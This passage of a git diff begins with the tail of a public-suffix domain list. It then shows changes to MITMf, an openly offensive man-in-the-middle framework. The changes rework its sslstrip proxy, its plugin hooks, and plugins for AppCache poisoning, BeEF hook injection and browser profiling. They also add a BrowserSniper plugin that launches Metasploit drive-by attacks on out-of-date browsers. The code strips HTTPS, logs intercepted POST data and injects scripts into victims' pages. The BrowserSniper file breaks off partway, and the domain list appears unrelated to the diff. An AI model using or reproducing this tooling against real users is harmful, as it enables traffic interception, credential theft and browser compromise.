http://en.wikipedia.org/wiki/.tel -// http://www.telnic.org/ -tel - -// tf : http://en.wikipedia.org/wiki/.tf -tf - -// tg : http://en.wikipedia.org/wiki/.tg -// http://www.nic.tg/nictg/index.php implies no reserved 2nd-level domains, -// although this contradicts wikipedia. -tg - -// th : http://en.wikipedia.org/wiki/.th -// Submitted by registry 2008-06-17 -th -ac.th -co.th -go.th -in.th -mi.th -net.th -or.th - -// tj : http://www.nic.tj/policy.htm -tj -ac.tj -biz.tj -co.tj -com.tj -edu.tj -go.tj -gov.tj -int.tj -mil.tj -name.tj -net.tj -nic.tj -org.tj -test.tj -web.tj - -// tk : http://en.wikipedia.org/wiki/.tk -tk - -// tl : http://en.wikipedia.org/wiki/.tl -tl -gov.tl - -// tm : http://www.nic.tm/rules.html -// list of 2nd level tlds ? -tm - -// tn : http://en.wikipedia.org/wiki/.tn -// http://whois.ati.tn/ -tn -com.tn -ens.tn -fin.tn -gov.tn -ind.tn -intl.tn -nat.tn -net.tn -org.tn -info.tn -perso.tn -tourism.tn -edunet.tn -rnrt.tn -rns.tn -rnu.tn -mincom.tn -agrinet.tn -defense.tn -turen.tn - -// to : http://en.wikipedia.org/wiki/.to -// Submitted by registry 2008-06-17 -to -com.to -gov.to -net.to -org.to -edu.to -mil.to - -// tr : http://en.wikipedia.org/wiki/.tr -*.tr -!nic.tr -// Used by government in the TRNC -// http://en.wikipedia.org/wiki/.nc.tr -gov.nc.tr - -// travel : http://en.wikipedia.org/wiki/.travel -travel - -// tt : http://www.nic.tt/ -tt -co.tt -com.tt -org.tt -net.tt -biz.tt -info.tt -pro.tt -int.tt -coop.tt -jobs.tt -mobi.tt -travel.tt -museum.tt -aero.tt -name.tt -gov.tt -edu.tt - -// tv : http://en.wikipedia.org/wiki/.tv -// Not listing any 2LDs as reserved since none seem to exist in practice, -// Wikipedia notwithstanding. -tv - -// tw : http://en.wikipedia.org/wiki/.tw -tw -edu.tw -gov.tw -mil.tw -com.tw -net.tw -org.tw -idv.tw -game.tw -ebiz.tw -club.tw -網路.tw -組織.tw -商業.tw - -// tz : http://en.wikipedia.org/wiki/.tz -// Submitted by registry 2008-06-17 -// Updated from http://www.tznic.or.tz/index.php/domains.html 2010-10-25 -ac.tz -co.tz -go.tz -mil.tz -ne.tz -or.tz -sc.tz - -// ua : http://www.nic.net.ua/ -ua -com.ua -edu.ua -gov.ua -in.ua -net.ua -org.ua -// ua geo-names -cherkassy.ua -chernigov.ua -chernovtsy.ua -ck.ua -cn.ua -crimea.ua -cv.ua -dn.ua -dnepropetrovsk.ua -donetsk.ua -dp.ua -if.ua -ivano-frankivsk.ua -kh.ua -kharkov.ua -kherson.ua -khmelnitskiy.ua -kiev.ua -kirovograd.ua -km.ua -kr.ua -ks.ua -kv.ua -lg.ua -lugansk.ua -lutsk.ua -lviv.ua -mk.ua -nikolaev.ua -od.ua -odessa.ua -pl.ua -poltava.ua -rovno.ua -rv.ua -sebastopol.ua -sumy.ua -te.ua -ternopil.ua -uzhgorod.ua -vinnica.ua -vn.ua -zaporizhzhe.ua -zp.ua -zhitomir.ua -zt.ua - -// ug : http://www.registry.co.ug/ -ug -co.ug -ac.ug -sc.ug -go.ug -ne.ug -or.ug - -// uk : http://en.wikipedia.org/wiki/.uk -*.uk -*.sch.uk -!bl.uk -!british-library.uk -!icnet.uk -!gov.uk -!jet.uk -!mod.uk -!nel.uk -!nhs.uk -!nic.uk -!nls.uk -!national-library-scotland.uk -!parliament.uk -!police.uk - -// us : http://en.wikipedia.org/wiki/.us -us -dni.us -fed.us -isa.us -kids.us -nsn.us -// us geographic names -ak.us -al.us -ar.us -as.us -az.us -ca.us -co.us -ct.us -dc.us -de.us -fl.us -ga.us -gu.us -hi.us -ia.us -id.us -il.us -in.us -ks.us -ky.us -la.us -ma.us -md.us -me.us -mi.us -mn.us -mo.us -ms.us -mt.us -nc.us -nd.us -ne.us -nh.us -nj.us -nm.us -nv.us -ny.us -oh.us -ok.us -or.us -pa.us -pr.us -ri.us -sc.us -sd.us -tn.us -tx.us -ut.us -vi.us -vt.us -va.us -wa.us -wi.us -wv.us -wy.us -// The registrar notes several more specific domains available in each state, -// such as state.*.us, dst.*.us, etc., but resolution of these is somewhat -// haphazard; in some states these domains resolve as addresses, while in others -// only subdomains are available, or even nothing at all. We include the -// most common ones where it's clear that different sites are different -// entities. -k12.ak.us -k12.al.us -k12.ar.us -k12.as.us -k12.az.us -k12.ca.us -k12.co.us -k12.ct.us -k12.dc.us -k12.de.us -k12.fl.us -k12.ga.us -k12.gu.us -// k12.hi.us Hawaii has a state-wide DOE login: bug 614565 -k12.ia.us -k12.id.us -k12.il.us -k12.in.us -k12.ks.us -k12.ky.us -k12.la.us -k12.ma.us -k12.md.us -k12.me.us -k12.mi.us -k12.mn.us -k12.mo.us -k12.ms.us -k12.mt.us -k12.nc.us -k12.nd.us -k12.ne.us -k12.nh.us -k12.nj.us -k12.nm.us -k12.nv.us -k12.ny.us -k12.oh.us -k12.ok.us -k12.or.us -k12.pa.us -k12.pr.us -k12.ri.us -k12.sc.us -k12.sd.us -k12.tn.us -k12.tx.us -k12.ut.us -k12.vi.us -k12.vt.us -k12.va.us -k12.wa.us -k12.wi.us -k12.wv.us -k12.wy.us - -cc.ak.us -cc.al.us -cc.ar.us -cc.as.us -cc.az.us -cc.ca.us -cc.co.us -cc.ct.us -cc.dc.us -cc.de.us -cc.fl.us -cc.ga.us -cc.gu.us -cc.hi.us -cc.ia.us -cc.id.us -cc.il.us -cc.in.us -cc.ks.us -cc.ky.us -cc.la.us -cc.ma.us -cc.md.us -cc.me.us -cc.mi.us -cc.mn.us -cc.mo.us -cc.ms.us -cc.mt.us -cc.nc.us -cc.nd.us -cc.ne.us -cc.nh.us -cc.nj.us -cc.nm.us -cc.nv.us -cc.ny.us -cc.oh.us -cc.ok.us -cc.or.us -cc.pa.us -cc.pr.us -cc.ri.us -cc.sc.us -cc.sd.us -cc.tn.us -cc.tx.us -cc.ut.us -cc.vi.us -cc.vt.us -cc.va.us -cc.wa.us -cc.wi.us -cc.wv.us -cc.wy.us - -lib.ak.us -lib.al.us -lib.ar.us -lib.as.us -lib.az.us -lib.ca.us -lib.co.us -lib.ct.us -lib.dc.us -lib.de.us -lib.fl.us -lib.ga.us -lib.gu.us -lib.hi.us -lib.ia.us -lib.id.us -lib.il.us -lib.in.us -lib.ks.us -lib.ky.us -lib.la.us -lib.ma.us -lib.md.us -lib.me.us -lib.mi.us -lib.mn.us -lib.mo.us -lib.ms.us -lib.mt.us -lib.nc.us -lib.nd.us -lib.ne.us -lib.nh.us -lib.nj.us -lib.nm.us -lib.nv.us -lib.ny.us -lib.oh.us -lib.ok.us -lib.or.us -lib.pa.us -lib.pr.us -lib.ri.us -lib.sc.us -lib.sd.us -lib.tn.us -lib.tx.us -lib.ut.us -lib.vi.us -lib.vt.us -lib.va.us -lib.wa.us -lib.wi.us -lib.wv.us -lib.wy.us - -// k12.ma.us contains school districts in Massachusetts. The 4LDs are -// managed indepedently except for private (PVT), charter (CHTR) and -// parochial (PAROCH) schools. Those are delegated dorectly to the -// 5LD operators. -pvt.k12.ma.us -chtr.k12.ma.us -paroch.k12.ma.us - -// uy : http://www.antel.com.uy/ -*.uy - -// uz : http://www.reg.uz/registerr.html -// are there other 2nd level tlds ? -uz -com.uz -co.uz - -// va : http://en.wikipedia.org/wiki/.va -va - -// vc : http://en.wikipedia.org/wiki/.vc -// Submitted by registry 2008-06-13 -vc -com.vc -net.vc -org.vc -gov.vc -mil.vc -edu.vc - -// ve : http://registro.nic.ve/nicve/registro/index.html -*.ve - -// vg : http://en.wikipedia.org/wiki/.vg -vg - -// vi : http://www.nic.vi/newdomainform.htm -// http://www.nic.vi/Domain_Rules/body_domain_rules.html indicates some other -// TLDs are "reserved", such as edu.vi and gov.vi, but doesn't actually say they -// are available for registration (which they do not seem to be). -vi -co.vi -com.vi -k12.vi -net.vi -org.vi - -// vn : https://www.dot.vn/vnnic/vnnic/domainregistration.jsp -vn -com.vn -net.vn -org.vn -edu.vn -gov.vn -int.vn -ac.vn -biz.vn -info.vn -name.vn -pro.vn -health.vn - -// vu : http://en.wikipedia.org/wiki/.vu -// list of 2nd level tlds ? -vu - -// ws : http://en.wikipedia.org/wiki/.ws -// http://samoanic.ws/index.dhtml -ws -com.ws -net.ws -org.ws -gov.ws -edu.ws - -// IDN ccTLDs -// Please sort by ISO 3166 ccTLD, then punicode string -// when submitting patches and follow this format: -// ("" ) : -// [optional sponsoring org] -// - -// xn--mgbaam7a8h ("Emerat" Arabic) : AE -//http://nic.ae/english/arabicdomain/rules.jsp -امارات - -// xn--54b7fta0cc ("Bangla" Bangla) : BD -বাংলা - -// xn--fiqs8s ("China" Chinese-Han-Simplified <.Zhonggou>) : CN -// CNNIC -// http://cnnic.cn/html/Dir/2005/10/11/3218.htm -中国 - -// xn--fiqz9s ("China" Chinese-Han-Traditional <.Zhonggou>) : CN -// CNNIC -// http://cnnic.cn/html/Dir/2005/10/11/3218.htm -中國 - -// xn--lgbbat1ad8j ("Algeria / Al Jazair" Arabic) : DZ -الجزائر - -// xn--wgbh1c ("Egypt" Arabic .masr) : EG -// http://www.dotmasr.eg/ -مصر - -// xn--node ("ge" Georgian (Mkhedruli)) : GE -გე - -// xn--j6w193g ("Hong Kong" Chinese-Han) : HK -// https://www2.hkirc.hk/register/rules.jsp -香港 - -// xn--h2brj9c ("Bharat" Devanagari) : IN -// India -भारत - -// xn--mgbbh1a71e ("Bharat" Arabic) : IN -// India -بھارت - -// xn--fpcrj9c3d ("Bharat" Telugu) : IN -// India -భారత్ - -// xn--gecrj9c ("Bharat" Gujarati) : IN -// India -ભારત - -// xn--s9brj9c ("Bharat" Gurmukhi) : IN -// India -ਭਾਰਤ - -// xn--45brj9c ("Bharat" Bengali) : IN -// India -ভারত - -// xn--xkc2dl3a5ee0h ("India" Tamil) : IN -// India -இந்தியா - -// xn--mgba3a4f16a ("Iran" Persian) : IR -ایران - -// xn--mgba3a4fra ("Iran" Arabic) : IR -ايران - -//xn--mgbayh7gpa ("al-Ordon" Arabic) JO -//National Information Technology Center (NITC) -//Royal Scientific Society, Al-Jubeiha -الاردن - -// xn--3e0b707e ("Republic of Korea" Hangul) : KR -한국 - -// xn--fzc2c9e2c ("Lanka" Sinhalese-Sinhala) : LK -// http://nic.lk -ලංකා - -// xn--xkc2al3hye2a ("Ilangai" Tamil) : LK -// http://nic.lk -இலங்கை - -// xn--mgbc0a9azcg ("Morocco / al-Maghrib" Arabic) : MA -المغرب - -// xn--mgb9awbf ("Oman" Arabic) : OM -عمان - -// xn--ygbi2ammx ("Falasteen" Arabic) : PS -// The Palestinian National Internet Naming Authority (PNINA) -// http://www.pnina.ps -فلسطين - -// xn--90a3ac ("srb" Cyrillic) : RS -срб - -// xn--p1ai ("rf" Russian-Cyrillic) : RU -// http://www.cctld.ru/en/docs/rulesrf.php -рф - -// xn--wgbl6a ("Qatar" Arabic) : QA -// http://www.ict.gov.qa/ -قطر - -// xn--mgberp4a5d4ar ("AlSaudiah" Arabic) : SA -// http://www.nic.net.sa/ -السعودية - -// xn--mgberp4a5d4a87g ("AlSaudiah" Arabic) variant : SA -السعودیة - -// xn--mgbqly7c0a67fbc ("AlSaudiah" Arabic) variant : SA -السعودیۃ - -// xn--mgbqly7cvafr ("AlSaudiah" Arabic) variant : SA -السعوديه - -// xn--ogbpf8fl ("Syria" Arabic) : SY -سورية - -// xn--mgbtf8fl ("Syria" Arabic) variant : SY -سوريا - -// xn--yfro4i67o Singapore ("Singapore" Chinese-Han) : SG -新加坡 - -// xn--clchc0ea0b2g2a9gcd ("Singapore" Tamil) : SG -சிங்கப்பூர் - -// xn--o3cw4h ("Thai" Thai) : TH -// http://www.thnic.co.th -ไทย - -// xn--pgbs0dh ("Tunis") : TN -// http://nic.tn -تونس - -// xn--kpry57d ("Taiwan" Chinese-Han-Traditional) : TW -// http://www.twnic.net/english/dn/dn_07a.htm -台灣 - -// xn--kprw13d ("Taiwan" Chinese-Han-Simplified) : TW -// http://www.twnic.net/english/dn/dn_07a.htm -台湾 - -// xn--nnx388a ("Taiwan") variant : TW -臺灣 - -// xn--j1amh ("ukr" Cyrillic) : UA -укр - -// xn--mgb2ddes ("AlYemen" Arabic) : YE -اليمن - -// xxx : http://icmregistry.com -xxx - -// ye : http://www.y.net.ye/services/domain_name.htm -*.ye - -// yu : http://www.nic.yu/pravilnik-e.html -*.yu - -// za : http://www.zadna.org.za/slds.html -*.za - -// zm : http://en.wikipedia.org/wiki/.zm -*.zm - -// zw : http://en.wikipedia.org/wiki/.zw -*.zw diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 9fe76cb..d9175a3 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -42,6 +42,10 @@ class ProxyPlugins: in handleResponse, but is still annoying. ''' _instance = None + + plist = [] + mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} + pmthds = {} @staticmethod def getInstance(): @@ -50,13 +54,9 @@ class ProxyPlugins: return ProxyPlugins._instance - def setPlugins(self,plugins): + def setPlugins(self, plugins): '''Set the plugins in use''' - self.plist = [] - - #build a lookup list - #need to clean up in future - self.pmthds = {} + for p in plugins: self.addPlugin(p) @@ -66,17 +66,17 @@ class ProxyPlugins: '''Load a plugin''' self.plist.append(p) mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) - for mthd in p.implements: + for mthd,pmthd in self.mthdDict.iteritems(): try: - self.pmthds[mthd].append(getattr(p,mthd)) + self.pmthds[mthd].append(getattr(p,pmthd)) except KeyError: - self.pmthds[mthd] = [getattr(p,mthd)] + self.pmthds[mthd] = [getattr(p,pmthd)] def removePlugin(self,p): '''Unload a plugin''' self.plist.remove(p) mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) - for mthd in p.implements: + for mthd,pmthd in self.mthdDict.iteritems(): self.pmthds[mthd].remove(p) def hook(self): @@ -92,9 +92,15 @@ class ProxyPlugins: args[key] = values[key] #prevent self conflict - args['request'] = args['self'] + if (fname == "handleResponse") or (fname == "handleHeader") or (fname == "handleEndHeaders"): + args['request'] = args['self'] + args['response'] = args['self'].client + else: + args['request'] = args['self'] + del args['self'] + mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname)) #calls any plugin that has this hook try: for f in self.pmthds[fname]: diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index df60e20..67b6dba 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -16,7 +16,13 @@ # USA # -import urlparse, logging, os, sys, random, re, dns.resolver +import urlparse +import logging +import os +import sys +import random +import re +import dns.resolver from twisted.web.http import Request from twisted.web.http import HTTPChannel @@ -33,7 +39,6 @@ from SSLServerConnection import SSLServerConnection from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') @@ -52,7 +57,6 @@ class ClientRequest(Request): self.hsts = URLMonitor.getInstance().hsts self.cookieCleaner = CookieCleaner.getInstance() self.dnsCache = DnsCache.getInstance() - self.plugins = ProxyPlugins.getInstance() #self.uniqueId = random.randint(0, 10000) #Use are own DNS server instead of reactor.resolve() @@ -62,9 +66,6 @@ class ClientRequest(Request): def cleanHeaders(self): headers = self.getAllHeaders().copy() - #for k,v in headers.iteritems(): - # mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) - if self.hsts: if 'referer' in headers: @@ -92,8 +93,6 @@ class ClientRequest(Request): if 'cache-control' in headers: del headers['cache-control'] - self.plugins.hook() - return headers def getPathFromUri(self): @@ -111,7 +110,7 @@ class ClientRequest(Request): if os.path.exists(scriptPath): return scriptPath - mitmf_logger.warning("Error: Could not find lock.ico") + mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico") return "lock.ico" def handleHostResolvedSuccess(self, address): diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 4f3cb11..994e106 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -16,14 +16,16 @@ # USA # -import logging, re, string, random, zlib, gzip, StringIO, sys -import plugins - -try: - from user_agents import parse -except: - pass +import logging +import re +import string +import random +import zlib +import gzip +import StringIO +import sys +from user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins @@ -53,6 +55,7 @@ class ServerConnection(HTTPClient): self.postData = postData self.headers = headers self.client = client + self.printPostData = True self.clientInfo = None self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().hsts @@ -78,22 +81,17 @@ class ServerConnection(HTTPClient): mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) - self.plugins.hook() self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[ServerConnection] Sending header: ({} => {})".format(header, value)) + mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() def sendPostData(self): - if 'clientprfl' in self.uri: - self.plugins.hook() - elif 'keylog' in self.uri: - self.plugins.hook() - else: + if self.printPostData is True: #So we can disable printing POST data coming from plugins try: postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging if len(postdata) > 0: @@ -101,8 +99,9 @@ class ServerConnection(HTTPClient): except UnicodeDecodeError and UnicodeEncodeError: mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) pass - - self.transport.write(self.postData) + + self.printPostData = True + self.transport.write(self.postData) def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") @@ -118,8 +117,6 @@ class ServerConnection(HTTPClient): self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): - mitmf_logger.debug("[ServerConnection] Receiving header ({}: {})".format(key, value)) - if (key.lower() == 'location'): value = self.replaceSecureLinks(value) if self.app: @@ -128,11 +125,11 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[ServerConnection] Response is image content, not scanning...") + mitmf_logger.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[ServerConnection] Response is compressed...") + mitmf_logger.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): @@ -147,15 +144,19 @@ class ServerConnection(HTTPClient): else: self.client.setHeader(key, value) + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + self.plugins.hook() - def handleEndHeaders(self): - if (self.isImageRequest and self.contentLength != None): - self.client.setHeader("Content-Length", self.contentLength) + if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + for header, value in self.client.headers.iteritems(): + mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) - if self.length == 0: - self.shutdown() - def handleResponsePart(self, data): if (self.isImageRequest): self.client.write(data) @@ -175,15 +176,11 @@ class ServerConnection(HTTPClient): if (self.isCompressed): mitmf_logger.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - - if len(data) < 1500: - mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data:\n{}".format(len(data), data)) - else: - mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) data = self.replaceSecureLinks(data) - res = self.plugins.hook() - data = res['data'] + data = self.plugins.hook()['data'] + + mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -212,7 +209,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) + mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl diff --git a/core/utils.py b/core/utils.py index 059cc61..38845f0 100644 --- a/core/utils.py +++ b/core/utils.py @@ -30,51 +30,6 @@ from scapy.all import get_if_addr, get_if_hwaddr mitmf_logger = logging.getLogger('mitmf') -class ImportDir: - #--------------------------------------------------------------------------------------------------- - # http://gitlab.com/aurelien-lourot/importdir - #--------------------------------------------------------------------------------------------------- - - # File name of a module: - __module_file_regexp = "(.+)\.py(c?)$" - - #--------------------------------------------------------------------------------------------------- - # Interface - #--------------------------------------------------------------------------------------------------- - - def do(self, path, env): - """ Imports all modules residing directly in directory "path" into the provided environment - (usually the callers environment). A typical call: - importdir.do("example_dir", globals()) - """ - self.__do(path, env) - - - #--------------------------------------------------------------------------------------------------- - # Implementation - #--------------------------------------------------------------------------------------------------- - - def get_module_names_in_dir(self, path): - """ Returns a set of all module names residing directly in directory "path". - """ - result = set() - - # Looks for all python files in the directory (not recursively) and add their name to result: - for entry in os.listdir(path): - if os.path.isfile(os.path.join(path, entry)): - regexp_result = re.search(self.__module_file_regexp, entry) - if regexp_result: # is a module file name - result.add(regexp_result.groups()[0]) - - return result - - def __do(self, path, env): - """ Implements do(). - """ - sys.path.append(path) # adds provided directory to list we can import from - for module_name in sorted(self.get_module_names_in_dir(path)): # for each found module... - env[module_name] = __import__(module_name) # ... import - class SystemConfig: @staticmethod diff --git a/mitmf.py b/mitmf.py index df3ed01..6820952 100755 --- a/mitmf.py +++ b/mitmf.py @@ -83,7 +83,7 @@ try: sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name)) if p.has_opts: - p.add_options(sgroup) + p.pluginOptions(sgroup) arg_dict[p.optname] = vars(sgroup)['_group_actions'] @@ -101,10 +101,10 @@ args = parser.parse_args() for plugin, options in arg_dict.iteritems(): if vars(args)[plugin] is False: for option in options: - if vars(args)[option.dest] is True: - sys.exit("[-] Called plugin options without invoking --{}".format(plugin)) + if vars(args)[option.dest]: + sys.exit("[-] Called plugin options without invoking the actual plugin (--{})".format(plugin)) -#first check to see if we supplied a valid interface +#check to see if we supplied a valid interface myip = SystemConfig.getIP(args.interface) mymac = SystemConfig.getMAC(args.interface) @@ -181,7 +181,7 @@ from core.dnschef.DNSchef import DNSChef DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) -#start the SMB server +#Start the SMB server from core.protocols.smb.SMBserver import SMBserver print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) SMBserver().start() diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 4b787b9..296522f 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -1,6 +1,6 @@ #!/usr/bin/env python2.7 -# Copyright (c) 2014-2016 Marcello Salvati +# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -18,8 +18,6 @@ # USA # -# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz - import logging import re import os.path @@ -33,10 +31,9 @@ from core.sslstrip.URLMonitor import URLMonitor mitmf_logger = logging.getLogger("mitmf") class AppCachePlugin(Plugin): - name = "App Cache Poison" + name = "AppCachePoison" optname = "appoison" desc = "Performs App Cache Poisoning attacks" - implements = ["handleResponse"] version = "0.3" has_opts = False @@ -47,7 +44,9 @@ class AppCachePlugin(Plugin): self.urlMonitor.setAppCachePoisoning() - def handleResponse(self, request, data): + def serverResponse(self, response, request, data): + + #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future self.app_config = self.config['AppCachePoison'] # so we reload the config on each request url = request.client.uri @@ -60,22 +59,22 @@ class AppCachePlugin(Plugin): if "enable_only_in_useragents" in self.app_config: regexp = self.app_config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) - return {'request': request, 'data': data} + mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) + return {'response': response, 'request': request, 'data': data} urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) + mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) (name,s,element,url) = self.getSectionForUrls(urls) if s is False: data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'request': request, 'data': data} + return {'response': response, 'request': request, 'data': data} - mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name)) + mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) p = self.getTemplatePrefix(s) if element == 'tamper': - mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p)) + mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) if os.path.exists(p + '.replace'): # replace whole content f = open(p + '.replace','r') data = self.decorate(f.read(), s) @@ -92,12 +91,12 @@ class AppCachePlugin(Plugin): data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip @@ -202,5 +201,3 @@ class AppCachePlugin(Plugin): return (name, section, 'raw',url) return (None, False,'',urls.copy().pop()) - - diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index e2ade2e..6104046 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -27,15 +27,15 @@ from core.beefapi import BeefAPI from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.Inject import Inject +from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class BeefAutorun(Inject, Plugin): +class BeefAutorun(Plugin): name = "BeEFAutorun" optname = "beefauto" desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" tree_output = [] - depends = ["Inject"] version = "0.3" has_opts = False diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 1b48b6a..53fc4e1 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -22,23 +22,25 @@ import logging from pprint import pformat from plugins.plugin import Plugin from plugins.Inject import Inject +from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class BrowserProfiler(Inject, Plugin): +class BrowserProfiler(Plugin): name = "Browser Profiler" optname = "browserprofiler" desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" + version = "0.3" has_opts = False def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.get_payload() self.dic_output = {} # so other plugins can access the results - + + inject = Inject() + inject.initialize(options) + inject.html_payload = self.get_payload() + ProxyPlugins.getInstance().addPlugin(inject) + def post2dict(self, post): #converts the ajax post to a dic dict = {} for line in post.split('&'): @@ -46,25 +48,29 @@ class BrowserProfiler(Inject, Plugin): dict[t[0]] = t[1] return dict - def sendPostData(self, request): + def clientRequest(self, request): #Handle the plugin output if 'clientprfl' in request.uri: + request.printPostData = False + self.dic_output = self.post2dict(request.postData) self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) + mitmf_logger.info("{} [{}] Got data:\n{}".format(request.client.getClientIP(), self.name, pretty_output)) def get_payload(self): payload = """""" - - return payload + plugindetect = open("./core/javascript/plugindetect.js", 'r').read() + return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py new file mode 100644 index 0000000..0d356a8 --- /dev/null +++ b/plugins/BrowserSniper.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import sys +import logging + +from time import sleep +from core.msfrpc import Msfrpc +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler + +mitmf_logger = logging.getLogger("mitmf") + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + has_opts = False + + def initialize(self, options): + self.options = options + self.msfip = SystemConfig.getIP(options.interface) + self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit + + msfcfg = self.config['MITMf']['Metasploit'] + self.rpcip = msfcfg['rpcip'] + self.rpcpass = msfcfg['rpcpass'] + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + try: 